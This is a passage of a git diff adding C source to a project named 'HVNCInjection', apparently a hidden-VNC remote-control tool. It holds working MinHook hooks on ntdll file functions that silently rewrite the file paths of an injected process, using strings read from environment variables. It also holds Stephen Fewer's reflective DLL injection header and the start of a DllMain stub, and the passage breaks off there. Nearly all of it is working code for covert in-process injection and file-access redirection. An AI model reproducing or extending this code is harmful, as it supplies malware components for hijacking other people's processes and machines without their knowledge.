+ typedef NTSTATUS(NTAPI* pNtSetInformationFile)(
+ HANDLE FileHandle,
+ PIO_STATUS_BLOCK IoStatusBlock,
+ PVOID FileInformation,
+ ULONG Length,
+ FILE_INFORMATION_CLASS FileInformationClass
+ );
+
+ typedef NTSTATUS(NTAPI* pNtQueryAttributesFile)(
+ POBJECT_ATTRIBUTES ObjectAttributes,
+ PVOID FileInformation
+ );
+
+ typedef NTSTATUS(NTAPI* pNtQueryFullAttributesFile)(
+ POBJECT_ATTRIBUTES ObjectAttributes,
+ PVOID FileInformation
+ );
+
+ typedef NTSTATUS(NTAPI* pNtQueryDirectoryFile)(
+ HANDLE FileHandle,
+ HANDLE Event,
+ PVOID ApcRoutine,
+ PVOID ApcContext,
+ PIO_STATUS_BLOCK IoStatusBlock,
+ PVOID FileInformation,
+ ULONG Length,
+ FILE_INFORMATION_CLASS FileInformationClass,
+ BOOLEAN ReturnSingleEntry,
+ PUNICODE_STRING FileName,
+ BOOLEAN RestartScan
+ );
+
+ typedef NTSTATUS(NTAPI* pNtQueryDirectoryFileEx)(
+ HANDLE FileHandle,
+ HANDLE Event,
+ PVOID ApcRoutine,
+ PVOID ApcContext,
+ PIO_STATUS_BLOCK IoStatusBlock,
+ PVOID FileInformation,
+ ULONG Length,
+ FILE_INFORMATION_CLASS FileInformationClass,
+ ULONG QueryFlags,
+ PUNICODE_STRING FileName
+ );
+
+ // Original function pointers
+ pNtCreateFile OriginalNtCreateFile = NULL;
+ pNtOpenFile OriginalNtOpenFile = NULL;
+ pNtDeleteFile OriginalNtDeleteFile = NULL;
+ pNtSetInformationFile OriginalNtSetInformationFile = NULL;
+ pNtQueryAttributesFile OriginalNtQueryAttributesFile = NULL;
+ pNtQueryFullAttributesFile OriginalNtQueryFullAttributesFile = NULL;
+ pNtQueryDirectoryFile OriginalNtQueryDirectoryFile = NULL;
+ pNtQueryDirectoryFileEx OriginalNtQueryDirectoryFileEx = NULL;
+
+ // Helper function to check if path needs redirection
+ BOOL NeedsRedirection(const WCHAR* path, SIZE_T length) {
+ if (!path || length == 0) return FALSE;
+
+ SIZE_T searchLen = wcslen(g_SearchString);
+ if (searchLen == 0 || length < searchLen) return FALSE;
+
+ // Normalize the path (strip \??\ prefix if present)
+ SIZE_T normalizedLength = length;
+ const WCHAR* normalizedPath = NormalizePath(path, &normalizedLength);
+
+ if (g_LogFile != INVALID_HANDLE_VALUE) {
+ WCHAR tempPath[512] = { 0 };
+ SIZE_T copyLen = normalizedLength < 511 ? normalizedLength : 511;
+ wcsncpy_s(tempPath, 512, normalizedPath, copyLen);
+ LogDebug(L"[NeedsRedirection] Checking normalized path: ");
+ LogDebug(tempPath);
+ LogDebug(L"[NeedsRedirection] Against search string: ");
+ LogDebug(g_SearchString);
+ }
+
+ if (normalizedLength < searchLen) return FALSE;
+
+ // Search for the search string in the normalized path (case-insensitive)
+ for (SIZE_T i = 0; i <= normalizedLength - searchLen; i++) {
+ if (wcsnicmp_custom(&normalizedPath[i], g_SearchString, searchLen) == 0) {
+ if (g_LogFile != INVALID_HANDLE_VALUE) {
+ LogDebug(L"[NeedsRedirection] MATCH FOUND at position ");
+ WCHAR posStr[32];
+ wsprintfW(posStr, L"%zu", i);
+ LogDebug(posStr);
+ }
+ return TRUE;
+ }
+ }
+
+ if (g_LogFile != INVALID_HANDLE_VALUE) {
+ LogDebug(L"[NeedsRedirection] NO MATCH");
+ }
+ return FALSE;
+ }
+
+ // Helper function to replace search string with the replacement string
+ WCHAR* ReplacePath(const WCHAR* originalPath, SIZE_T originalLength, SIZE_T* newLength) {
+ if (!originalPath || originalLength == 0 || !newLength) return NULL;
+
+ SIZE_T searchLen = wcslen(g_SearchString);
+ SIZE_T replaceLen = wcslen(g_ReplacementString);
+
+ if (searchLen == 0 || originalLength < searchLen) return NULL;
+
+ // Normalize the path
+ SIZE_T normalizedLength = originalLength;
+ const WCHAR* normalizedPath = NormalizePath(originalPath, &normalizedLength);
+ SIZE_T prefixLength = originalLength - normalizedLength; // Length of \??\ or other prefix
+
+ if (normalizedLength < searchLen) return NULL;
+
+ // Count occurrences (case-insensitive) in normalized portion
+ SIZE_T occurrences = 0;
+ for (SIZE_T i = 0; i <= normalizedLength - searchLen; i++) {
+ if (wcsnicmp_custom(&normalizedPath[i], g_SearchString, searchLen) == 0) {
+ occurrences++;
+ i += searchLen - 1; // Skip past this occurrence
+ }
+ }
+
+ if (occurrences == 0) return NULL;
+
+ // Calculate new length (prefix + modified path)
+ SIZE_T calcNewLength = prefixLength + normalizedLength + (occurrences * (replaceLen - searchLen));
+ WCHAR* newPath = (WCHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (calcNewLength + 1) * sizeof(WCHAR));
+ if (!newPath) return NULL;
+
+ // Copy prefix (\??\ or other) if present
+ SIZE_T destIdx = 0;
+ for (SIZE_T i = 0; i < prefixLength; i++) {
+ newPath[destIdx++] = originalPath[i];
+ }
+
+ // Perform replacement in normalized portion (case-insensitive)
+ SIZE_T srcIdx = 0;
+
+ while (srcIdx < normalizedLength) {
+ if (srcIdx <= normalizedLength - searchLen &&
+ wcsnicmp_custom(&normalizedPath[srcIdx], g_SearchString, searchLen) == 0) {
+ // Copy replacement string
+ for (SIZE_T j = 0; j < replaceLen; j++) {
+ newPath[destIdx++] = g_ReplacementString[j];
+ }
+ srcIdx += searchLen;
+ }
+ else {
+ newPath[destIdx++] = normalizedPath[srcIdx++];
+ }
+ }
+
+ *newLength = destIdx;
+ return newPath;
+ }
+
+ // Hook implementations
+ NTSTATUS NTAPI HookedNtCreateFile(
+ PHANDLE FileHandle,
+ ULONG DesiredAccess,
+ POBJECT_ATTRIBUTES ObjectAttributes,
+ PIO_STATUS_BLOCK IoStatusBlock,
+ PLARGE_INTEGER AllocationSize,
+ ULONG FileAttributes,
+ ULONG ShareAccess,
+ ULONG CreateDisposition,
+ ULONG CreateOptions,
+ PVOID EaBuffer,
+ ULONG EaLength
+ ) {
+ PUNICODE_STRING originalString = NULL;
+ UNICODE_STRING newString = { 0 };
+ WCHAR* buffer = NULL;
+
+ // Only attempt redirection if hooks are properly initialized and we have the original function
+ if (g_HooksInitialized && OriginalNtCreateFile && ObjectAttributes && ObjectAttributes->ObjectName && ObjectAttributes->ObjectName->Buffer) {
+ SIZE_T pathLength = ObjectAttributes->ObjectName->Length / sizeof(WCHAR);
+
+ // Log all paths for debugging
+ if (g_LogFile != INVALID_HANDLE_VALUE && pathLength > 0) {
+ WCHAR tempPath[512] = { 0 };
+ SIZE_T copyLen = pathLength < 511 ? pathLength : 511;
+ wcsncpy_s(tempPath, 512, ObjectAttributes->ObjectName->Buffer, copyLen);
+ LogDebug(L"");
+ LogDebug(L"[NtCreateFile] Original Path: ");
+ LogDebug(tempPath);
+ }
+
+ if (NeedsRedirection(ObjectAttributes->ObjectName->Buffer, pathLength)) {
+ SIZE_T newLength = 0;
+ buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength);
+
+ if (buffer) {
+ WCHAR tempBuf[512] = { 0 };
+ SIZE_T copyLen = newLength < 511 ? newLength : 511;
+ wcsncpy_s(tempBuf, 512, buffer, copyLen);
+ LogDebug(L"[NtCreateFile] *** REDIRECTING TO: ");
+ LogDebug(tempBuf);
+
+ originalString = ObjectAttributes->ObjectName;
+ newString.Buffer = buffer;
+ newString.Length = (USHORT)(newLength * sizeof(WCHAR));
+ newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR));
+ ObjectAttributes->ObjectName = &newString;
+ }
+ else {
+ LogDebug(L"[NtCreateFile] ReplacePath returned NULL");
+ }
+ }
+ }
+
+ NTSTATUS result = OriginalNtCreateFile(FileHandle, DesiredAccess, ObjectAttributes, IoStatusBlock,
+ AllocationSize, FileAttributes, ShareAccess, CreateDisposition,
+ CreateOptions, EaBuffer, EaLength);
+
+ if (originalString) {
+ ObjectAttributes->ObjectName = originalString;
+ if (buffer) HeapFree(GetProcessHeap(), 0, buffer);
+ }
+
+ return result;
+ }
+
+ NTSTATUS NTAPI HookedNtOpenFile(
+ PHANDLE FileHandle,
+ ULONG DesiredAccess,
+ POBJECT_ATTRIBUTES ObjectAttributes,
+ PIO_STATUS_BLOCK IoStatusBlock,
+ ULONG ShareAccess,
+ ULONG OpenOptions
+ ) {
+ PUNICODE_STRING originalString = NULL;
+ UNICODE_STRING newString = { 0 };
+ WCHAR* buffer = NULL;
+
+ if (ObjectAttributes && ObjectAttributes->ObjectName && ObjectAttributes->ObjectName->Buffer) {
+ SIZE_T pathLength = ObjectAttributes->ObjectName->Length / sizeof(WCHAR);
+
+ // Log all paths for debugging
+ if (g_LogFile != INVALID_HANDLE_VALUE && pathLength > 0 && g_HooksInitialized) {
+ WCHAR tempPath[512] = { 0 };
+ SIZE_T copyLen = pathLength < 511 ? pathLength : 511;
+ wcsncpy_s(tempPath, 512, ObjectAttributes->ObjectName->Buffer, copyLen);
+ LogDebug(L"");
+ LogDebug(L"[NtOpenFile] Original Path: ");
+ LogDebug(tempPath);
+ }
+
+ if (NeedsRedirection(ObjectAttributes->ObjectName->Buffer, pathLength)) {
+ SIZE_T newLength = 0;
+ buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength);
+
+ if (buffer) {
+ WCHAR tempBuf[512] = { 0 };
+ SIZE_T copyLen = newLength < 511 ? newLength : 511;
+ wcsncpy_s(tempBuf, 512, buffer, copyLen);
+ LogDebug(L"[NtOpenFile] *** REDIRECTING TO: ");
+ LogDebug(tempBuf);
+
+ originalString = ObjectAttributes->ObjectName;
+ newString.Buffer = buffer;
+ newString.Length = (USHORT)(newLength * sizeof(WCHAR));
+ newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR));
+ ObjectAttributes->ObjectName = &newString;
+ }
+ else {
+ LogDebug(L"[NtOpenFile] ReplacePath returned NULL");
+ }
+ }
+ }
+
+ NTSTATUS result = OriginalNtOpenFile(FileHandle, DesiredAccess, ObjectAttributes, IoStatusBlock, ShareAccess, OpenOptions);
+
+ if (originalString) {
+ ObjectAttributes->ObjectName = originalString;
+ if (buffer) HeapFree(GetProcessHeap(), 0, buffer);
+ }
+
+ return result;
+ }
+
+ NTSTATUS NTAPI HookedNtDeleteFile(POBJECT_ATTRIBUTES ObjectAttributes) {
+ PUNICODE_STRING originalString = NULL;
+ UNICODE_STRING newString = { 0 };
+ WCHAR* buffer = NULL;
+
+ if (ObjectAttributes && ObjectAttributes->ObjectName && ObjectAttributes->ObjectName->Buffer) {
+ SIZE_T pathLength = ObjectAttributes->ObjectName->Length / sizeof(WCHAR);
+
+ if (NeedsRedirection(ObjectAttributes->ObjectName->Buffer, pathLength)) {
+ SIZE_T newLength = 0;
+ buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength);
+
+ if (buffer) {
+ originalString = ObjectAttributes->ObjectName;
+ newString.Buffer = buffer;
+ newString.Length = (USHORT)(newLength * sizeof(WCHAR));
+ newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR));
+ ObjectAttributes->ObjectName = &newString;
+ }
+ }
+ }
+
+ NTSTATUS result = OriginalNtDeleteFile(ObjectAttributes);
+
+ if (originalString) {
+ ObjectAttributes->ObjectName = originalString;
+ if (buffer) HeapFree(GetProcessHeap(), 0, buffer);
+ }
+
+ return result;
+ }
+
+ NTSTATUS NTAPI HookedNtSetInformationFile(
+ HANDLE FileHandle,
+ PIO_STATUS_BLOCK IoStatusBlock,
+ PVOID FileInformation,
+ ULONG Length,
+ FILE_INFORMATION_CLASS FileInformationClass
+ ) {
+ typedef struct {
+ BOOLEAN ReplaceIfExists;
+ HANDLE RootDirectory;
+ ULONG FileNameLength;
+ WCHAR FileName[1];
+ } FILE_RENAME_INFO;
+
+ if (FileInformation && (FileInformationClass == FileRenameInformation || FileInformationClass == FileRenameInformationEx)) {
+ FILE_RENAME_INFO* renameInfo = (FILE_RENAME_INFO*)FileInformation;
+ if (renameInfo->FileNameLength > 0) {
+ SIZE_T pathLength = renameInfo->FileNameLength / sizeof(WCHAR);
+
+ if (NeedsRedirection(renameInfo->FileName, pathLength)) {
+ SIZE_T newLength = 0;
+ WCHAR* newPath = ReplacePath(renameInfo->FileName, pathLength, &newLength);
+
+ if (newPath) {
+ ULONG newInfoSize = sizeof(FILE_RENAME_INFO) - sizeof(WCHAR) + (newLength * sizeof(WCHAR));
+ FILE_RENAME_INFO* newRenameInfo = (FILE_RENAME_INFO*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, newInfoSize);
+
+ if (newRenameInfo) {
+ newRenameInfo->ReplaceIfExists = renameInfo->ReplaceIfExists;
+ newRenameInfo->RootDirectory = renameInfo->RootDirectory;
+ newRenameInfo->FileNameLength = (ULONG)(newLength * sizeof(WCHAR));
+ memcpy(newRenameInfo->FileName, newPath, newRenameInfo->FileNameLength);
+
+ NTSTATUS result = OriginalNtSetInformationFile(FileHandle, IoStatusBlock, newRenameInfo, newInfoSize, FileInformationClass);
+
+ HeapFree(GetProcessHeap(), 0, newRenameInfo);
+ HeapFree(GetProcessHeap(), 0, newPath);
+ return result;
+ }
+ HeapFree(GetProcessHeap(), 0, newPath);
+ }
+ }
+ }
+ }
+
+ return OriginalNtSetInformationFile(FileHandle, IoStatusBlock, FileInformation, Length, FileInformationClass);
+ }
+
+ NTSTATUS NTAPI HookedNtQueryAttributesFile(
+ POBJECT_ATTRIBUTES ObjectAttributes,
+ PVOID FileInformation
+ ) {
+ PUNICODE_STRING originalString = NULL;
+ UNICODE_STRING newString = { 0 };
+ WCHAR* buffer = NULL;
+
+ if (ObjectAttributes && ObjectAttributes->ObjectName && ObjectAttributes->ObjectName->Buffer) {
+ SIZE_T pathLength = ObjectAttributes->ObjectName->Length / sizeof(WCHAR);
+
+ if (NeedsRedirection(ObjectAttributes->ObjectName->Buffer, pathLength)) {
+ SIZE_T newLength = 0;
+ buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength);
+
+ if (buffer) {
+ originalString = ObjectAttributes->ObjectName;
+ newString.Buffer = buffer;
+ newString.Length = (USHORT)(newLength * sizeof(WCHAR));
+ newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR));
+ ObjectAttributes->ObjectName = &newString;
+ }
+ }
+ }
+
+ NTSTATUS result = OriginalNtQueryAttributesFile(ObjectAttributes, FileInformation);
+
+ if (originalString) {
+ ObjectAttributes->ObjectName = originalString;
+ if (buffer) HeapFree(GetProcessHeap(), 0, buffer);
+ }
+
+ return result;
+ }
+
+ NTSTATUS NTAPI HookedNtQueryFullAttributesFile(
+ POBJECT_ATTRIBUTES ObjectAttributes,
+ PVOID FileInformation
+ ) {
+ PUNICODE_STRING originalString = NULL;
+ UNICODE_STRING newString = { 0 };
+ WCHAR* buffer = NULL;
+
+ if (ObjectAttributes && ObjectAttributes->ObjectName && ObjectAttributes->ObjectName->Buffer) {
+ SIZE_T pathLength = ObjectAttributes->ObjectName->Length / sizeof(WCHAR);
+
+ if (NeedsRedirection(ObjectAttributes->ObjectName->Buffer, pathLength)) {
+ SIZE_T newLength = 0;
+ buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength);
+
+ if (buffer) {
+ originalString = ObjectAttributes->ObjectName;
+ newString.Buffer = buffer;
+ newString.Length = (USHORT)(newLength * sizeof(WCHAR));
+ newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR));
+ ObjectAttributes->ObjectName = &newString;
+ }
+ }
+ }
+
+ NTSTATUS result = OriginalNtQueryFullAttributesFile(ObjectAttributes, FileInformation);
+
+ if (originalString) {
+ ObjectAttributes->ObjectName = originalString;
+ if (buffer) HeapFree(GetProcessHeap(), 0, buffer);
+ }
+
+ return result;
+ }
+
+ NTSTATUS NTAPI HookedNtQueryDirectoryFile(
+ HANDLE FileHandle,
+ HANDLE Event,
+ PVOID ApcRoutine,
+ PVOID ApcContext,
+ PIO_STATUS_BLOCK IoStatusBlock,
+ PVOID FileInformation,
+ ULONG Length,
+ FILE_INFORMATION_CLASS FileInformationClass,
+ BOOLEAN ReturnSingleEntry,
+ PUNICODE_STRING FileName,
+ BOOLEAN RestartScan
+ ) {
+ return OriginalNtQueryDirectoryFile(FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock,
+ FileInformation, Length, FileInformationClass,
+ ReturnSingleEntry, FileName, RestartScan);
+ }
+
+ NTSTATUS NTAPI HookedNtQueryDirectoryFileEx(
+ HANDLE FileHandle,
+ HANDLE Event,
+ PVOID ApcRoutine,
+ PVOID ApcContext,
+ PIO_STATUS_BLOCK IoStatusBlock,
+ PVOID FileInformation,
+ ULONG Length,
+ FILE_INFORMATION_CLASS FileInformationClass,
+ ULONG QueryFlags,
+ PUNICODE_STRING FileName
+ ) {
+ return OriginalNtQueryDirectoryFileEx(FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock,
+ FileInformation, Length, FileInformationClass,
+ QueryFlags, FileName);
+ }
+
+ // Install all hooks
+ void InstallNtApiHooks(LPVOID lpParameter) {
+ // Use a global try-catch to prevent any crashes
+ __try {
+#if ENABLE_DEBUG_LOGGING
+ // Enable logging for debugging
+ WCHAR logPath[512];
+ __try {
+ ExpandEnvironmentStringsW(L"%TEMP%\\rdi_hooks.log", logPath, 512);
+ g_LogFile = CreateFileW(logPath, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
+ }
+ __except (EXCEPTION_EXECUTE_HANDLER) {
+ g_LogFile = INVALID_HANDLE_VALUE;
+ }
+
+ if (g_LogFile != INVALID_HANDLE_VALUE) {
+ LogDebugA("=== DLL Injection Started ===");
+ }
+#else
+ g_LogFile = INVALID_HANDLE_VALUE;
+#endif
+
+ // Initialize to empty strings to prevent crashes
+ g_SearchString[0] = L'\0';
+ g_ReplacementString[0] = L'\0';
+
+ // Try to get configuration from environment variables
+ __try {
+ WCHAR envSearchString[512] = { 0 };
+ WCHAR envReplaceString[512] = { 0 };
+
+ DWORD searchLen = GetEnvironmentVariableW(L"RDI_SEARCH_PATH", envSearchString, 512);
+ DWORD replaceLen = GetEnvironmentVariableW(L"RDI_REPLACE_PATH", envReplaceString, 512);
+
+ if (searchLen > 0 && searchLen < 512 && replaceLen > 0 && replaceLen < 512) {
+ wcsncpy_s(g_SearchString, 512, envSearchString, searchLen);
+ g_SearchString[searchLen] = L'\0';
+ wcsncpy_s(g_ReplacementString, 512, envReplaceString, replaceLen);
+ g_ReplacementString[replaceLen] = L'\0';
+
+ if (g_LogFile != INVALID_HANDLE_VALUE) {
+ LogDebug(L"========================================");
+ LogDebug(L"[ENV] Search string from env: ");
+ LogDebug(g_SearchString);
+ LogDebug(L"[ENV] Replacement string from env: ");
+ LogDebug(g_ReplacementString);
+
+ char lenMsg[256];
+ sprintf_s(lenMsg, 256, "[ENV] Search string length: %zu characters", wcslen(g_SearchString));
+ LogDebugA(lenMsg);
+ LogDebug(L"========================================");
+ }
+ }
+ else {
+ if (g_LogFile != INVALID_HANDLE_VALUE) {
+ LogDebugA("Environment variables not found, hooks disabled");
+ }
+ }
+ }
+ __except (EXCEPTION_EXECUTE_HANDLER) {
+ if (g_LogFile != INVALID_HANDLE_VALUE) {
+ LogDebugA("Exception reading environment variables");
+ }
+ g_SearchString[0] = L'\0';
+ g_ReplacementString[0] = L'\0';
+ }
+
+ // Initialize MinHook (this must succeed)
+ if (g_LogFile != INVALID_HANDLE_VALUE) {
+ LogDebugA("Initializing MinHook...");
+ }
+
+ if (MH_Initialize() != MH_OK) {
+ if (g_LogFile != INVALID_HANDLE_VALUE) {
+ LogDebugA("ERROR: MinHook initialization failed!");
+ }
+ return;
+ }
+
+ if (g_LogFile != INVALID_HANDLE_VALUE) {
+ LogDebugA("MinHook initialized successfully");
+ }
+
+ HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
+ if (!ntdll) {
+ if (g_LogFile != INVALID_HANDLE_VALUE) {
+ LogDebugA("ERROR: Failed to get ntdll.dll handle!");
+ }
+ MH_Uninitialize();
+ return;
+ }
+
+ if (g_LogFile != INVALID_HANDLE_VALUE) {
+ LogDebugA("Got ntdll.dll handle");
+ }
+
+ // Hook all the NT APIs
+ FARPROC pNtCreateFile = GetProcAddress(ntdll, "NtCreateFile");
+ if (pNtCreateFile) {
+ MH_CreateHook(pNtCreateFile, &HookedNtCreateFile, (LPVOID*)&OriginalNtCreateFile);
+ MH_EnableHook(pNtCreateFile);
+ if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtCreateFile");
+ }
+
+ FARPROC pNtOpenFile = GetProcAddress(ntdll, "NtOpenFile");
+ if (pNtOpenFile) {
+ MH_CreateHook(pNtOpenFile, &HookedNtOpenFile, (LPVOID*)&OriginalNtOpenFile);
+ MH_EnableHook(pNtOpenFile);
+ if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtOpenFile");
+ }
+
+ FARPROC pNtDeleteFile = GetProcAddress(ntdll, "NtDeleteFile");
+ if (pNtDeleteFile) {
+ MH_CreateHook(pNtDeleteFile, &HookedNtDeleteFile, (LPVOID*)&OriginalNtDeleteFile);
+ MH_EnableHook(pNtDeleteFile);
+ if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtDeleteFile");
+ }
+
+ FARPROC pNtSetInformationFile = GetProcAddress(ntdll, "NtSetInformationFile");
+ if (pNtSetInformationFile) {
+ MH_CreateHook(pNtSetInformationFile, &HookedNtSetInformationFile, (LPVOID*)&OriginalNtSetInformationFile);
+ MH_EnableHook(pNtSetInformationFile);
+ if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtSetInformationFile");
+ }
+
+ FARPROC pNtQueryAttributesFile = GetProcAddress(ntdll, "NtQueryAttributesFile");
+ if (pNtQueryAttributesFile) {
+ MH_CreateHook(pNtQueryAttributesFile, &HookedNtQueryAttributesFile, (LPVOID*)&OriginalNtQueryAttributesFile);
+ MH_EnableHook(pNtQueryAttributesFile);
+ if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtQueryAttributesFile");
+ }
+
+ FARPROC pNtQueryFullAttributesFile = GetProcAddress(ntdll, "NtQueryFullAttributesFile");
+ if (pNtQueryFullAttributesFile) {
+ MH_CreateHook(pNtQueryFullAttributesFile, &HookedNtQueryFullAttributesFile, (LPVOID*)&OriginalNtQueryFullAttributesFile);
+ MH_EnableHook(pNtQueryFullAttributesFile);
+ if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtQueryFullAttributesFile");
+ }
+
+ FARPROC pNtQueryDirectoryFile = GetProcAddress(ntdll, "NtQueryDirectoryFile");
+ if (pNtQueryDirectoryFile) {
+ MH_CreateHook(pNtQueryDirectoryFile, &HookedNtQueryDirectoryFile, (LPVOID*)&OriginalNtQueryDirectoryFile);
+ MH_EnableHook(pNtQueryDirectoryFile);
+ if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtQueryDirectoryFile");
+ }
+
+ FARPROC pNtQueryDirectoryFileEx = GetProcAddress(ntdll, "NtQueryDirectoryFileEx");
+ if (pNtQueryDirectoryFileEx) {
+ MH_CreateHook(pNtQueryDirectoryFileEx, &HookedNtQueryDirectoryFileEx, (LPVOID*)&OriginalNtQueryDirectoryFileEx);
+ MH_EnableHook(pNtQueryDirectoryFileEx);
+ if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtQueryDirectoryFileEx");
+ }
+
+ g_HooksInitialized = TRUE;
+ if (g_LogFile != INVALID_HANDLE_VALUE) {
+ LogDebugA("=== All hooks installed successfully ===");
+ }
+ }
+ __except (EXCEPTION_EXECUTE_HANDLER) {
+ if (g_LogFile != INVALID_HANDLE_VALUE) {
+ char excMsg[256];
+ sprintf_s(excMsg, 256, "CRITICAL EXCEPTION: Hook installation failed! Code: 0x%X", GetExceptionCode());
+ LogDebugA(excMsg);
+ }
+ }
+ }
+
+ void RemoveNtApiHooks() {
+ __try {
+ LogDebugA("=== Removing hooks ===");
+ g_HooksInitialized = FALSE;
+ MH_DisableHook(MH_ALL_HOOKS);
+ MH_Uninitialize();
+
+ if (g_LogFile != INVALID_HANDLE_VALUE) {
+ CloseHandle(g_LogFile);
+ g_LogFile = INVALID_HANDLE_VALUE;
+ }
+ }
+ __except (EXCEPTION_EXECUTE_HANDLER) {
+ // Fail silently on cleanup
+ }
+ }
+
+#ifdef __cplusplus
+}
+#endif
diff --git a/HVNCInjection/src/NtApiHooks.h b/HVNCInjection/src/NtApiHooks.h
new file mode 100644
index 0000000..4c6c59a
--- /dev/null
+++ b/HVNCInjection/src/NtApiHooks.h
@@ -0,0 +1,23 @@
+//===============================================================================================//
+// NT API Hooking Header
+//===============================================================================================//
+#ifndef _NTAPIHOOKS_H
+#define _NTAPIHOOKS_H
+
+#include
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+ // Initialize all NT API hooks
+ void InstallNtApiHooks(LPVOID lpParameter);
+
+ // Remove all NT API hooks
+ void RemoveNtApiHooks();
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif // _NTAPIHOOKS_H
diff --git a/HVNCInjection/src/NtApiHooksConfig.h b/HVNCInjection/src/NtApiHooksConfig.h
new file mode 100644
index 0000000..589afcd
--- /dev/null
+++ b/HVNCInjection/src/NtApiHooksConfig.h
@@ -0,0 +1,12 @@
+//===============================================================================================//
+// NT API Hook Configuration
+// Edit this file and rebuild to change settings
+//===============================================================================================//
+#ifndef _NTAPIHOOKS_CONFIG_H
+#define _NTAPIHOOKS_CONFIG_H
+
+// Set to 1 to enable detailed logging, 0 to disable
+// Log file will be created at %TEMP%\rdi_hooks.log
+#define ENABLE_DEBUG_LOGGING 0
+
+#endif // _NTAPIHOOKS_CONFIG_H
diff --git a/HVNCInjection/src/ReflectiveDLLInjection.h b/HVNCInjection/src/ReflectiveDLLInjection.h
new file mode 100644
index 0000000..72fd96b
--- /dev/null
+++ b/HVNCInjection/src/ReflectiveDLLInjection.h
@@ -0,0 +1,51 @@
+//===============================================================================================//
+// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without modification, are permitted
+// provided that the following conditions are met:
+//
+// * Redistributions of source code must retain the above copyright notice, this list of
+// conditions and the following disclaimer.
+//
+// * Redistributions in binary form must reproduce the above copyright notice, this list of
+// conditions and the following disclaimer in the documentation and/or other materials provided
+// with the distribution.
+//
+// * Neither the name of Harmony Security nor the names of its contributors may be used to
+// endorse or promote products derived from this software without specific prior written permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
+// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
+// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+// POSSIBILITY OF SUCH DAMAGE.
+//===============================================================================================//
+#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
+#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
+//===============================================================================================//
+#define WIN32_LEAN_AND_MEAN
+#include
+
+// we declare some common stuff in here...
+
+#define DLL_QUERY_HMODULE 6
+
+#define DEREF( name )*(UINT_PTR *)(name)
+#define DEREF_64( name )*(DWORD64 *)(name)
+#define DEREF_32( name )*(DWORD *)(name)
+#define DEREF_16( name )*(WORD *)(name)
+#define DEREF_8( name )*(BYTE *)(name)
+
+typedef ULONG_PTR(WINAPI* REFLECTIVELOADER)(VOID);
+typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID);
+
+#define DLLEXPORT __declspec( dllexport )
+
+//===============================================================================================//
+#endif
+//===============================================================================================//
diff --git a/HVNCInjection/src/ReflectiveDll.c b/HVNCInjection/src/ReflectiveDll.c
new file mode 100644
index 0000000..c8cc4b3
--- /dev/null
+++ b/HVNCInjection/src/ReflectiveDll.c
@@ -0,0 +1,43 @@
+//===============================================================================================//
+// This is a stub for the actuall functionality of the DLL.
+//===============================================================================================//
+#include "ReflectiveLoader.h"
+#include "NtApiHooks.h"
+
+// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are
+// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own
+// DllMain and use the LoadRemoteLibraryR() API to inject this DLL.
+
+// You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c)
+extern HINSTANCE hAppInstance;
+
+// Store the parameter passed to ReflectiveLoader
+extern LPVOID g_lpReflectiveParameter;
+
+//===============================================================================================//
+BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
+{
+ BOOL bReturnValue = TRUE;
+ switch (dwReason)
+ {
+ case DLL_QUERY_HMODULE:
